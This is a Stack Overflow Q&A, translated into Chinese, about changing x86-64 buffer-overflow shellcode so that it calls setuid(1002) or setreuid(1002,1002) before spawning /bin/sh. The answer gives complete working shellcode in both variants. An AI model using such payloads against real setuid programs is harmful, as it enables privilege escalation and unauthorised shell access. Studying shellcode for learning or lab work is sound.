【问题标题】:How to set a specific setuid in a shellcode如何在 shellcode 中设置特定的 setuid
【发布时间】:2020-05-16 08:19:02
【问题描述】:

我正在使用here 找到的以下汇编代码来 setuid(0) 并在缓冲区溢出期间获取 shell

xor    rdi,rdi
mov    al,0x69
syscall
xor    rdx,rdx
movabs rbx,0x68732f6e69622fff
shr    rbx,0x8
push   rbx
mov    rdi,rsp
xor    rax,rax
push   rax
push   rdi
mov    rsi,rsp
mov    al,0x3b
syscall
push   0x1
pop    rdi
push   0x3c
pop    rax
syscall

我需要将其修改为 setuid(1002) 而不是 setuid(0)

我不明白 setuid 在这个汇编代码中的位置

【问题讨论】:

  • xor rdi,rdi mov al,0x69 syscall是设置UID的部分。 syscall 0x69 (105) 采用 RDI 中的 UID。您需要将 1002 放入 RDI。 xor rdi, rdi 将 rdi 设置为 0。
  • 最简单的事情是在 xor rdi, rdi 之后将 RDI 归零...将 1002 与 mov di, 1002 放在低 16 位中
  • @MichaelPetch 我不知道为什么结果是0xffffffffffffffff in rax
  • 0xffffffffffffffff 为 -1,即 EPERM(不允许操作)。您是以普通用户还是 root 帐户运行代码?如果您不使用 root 权限运行,它将失败。
  • 谢谢!我在具有 setuid 位的二进制文件中运行。但不是作为根。我终于发现我必须使用 setreuid 而不是 setuid

标签: assembly x86-64 buffer-overflow shellcode setuid


【解决方案1】:

此 setuid 为 1002:

xor    rdi,rdi
xor    rax,rax
mov    di, 1002
mov    al,0x69
syscall
xor    rdx,rdx
movabs rbx,0x68732f6e69622fff
shr    rbx,0x8
push   rbx
mov    rdi,rsp
xor    rax,rax
push   rax
push   rdi
mov    rsi,rsp
mov    al,0x3b
syscall
push   0x1
pop    rdi
push   0x3c
pop    rax
syscall

这个 setreuid 为 1002

xor    rdi,rdi
xor    rax,rax
xor    rsi, rsi
mov    si, 1002
mov    di, 1002
mov    al,0x71
syscall
xor    rdx,rdx
movabs rbx,0x68732f6e69622fff
shr    rbx,0x8
push   rbx
mov    rdi,rsp
xor    rax,rax
push   rax
push   rdi
mov    rsi,rsp
mov    al,0x3b
syscall
push   0x1
pop    rdi
push   0x3c
pop    rax
syscall

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2016-07-22
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2012-09-02
    • 2020-10-27
    相关资源
    最近更新 更多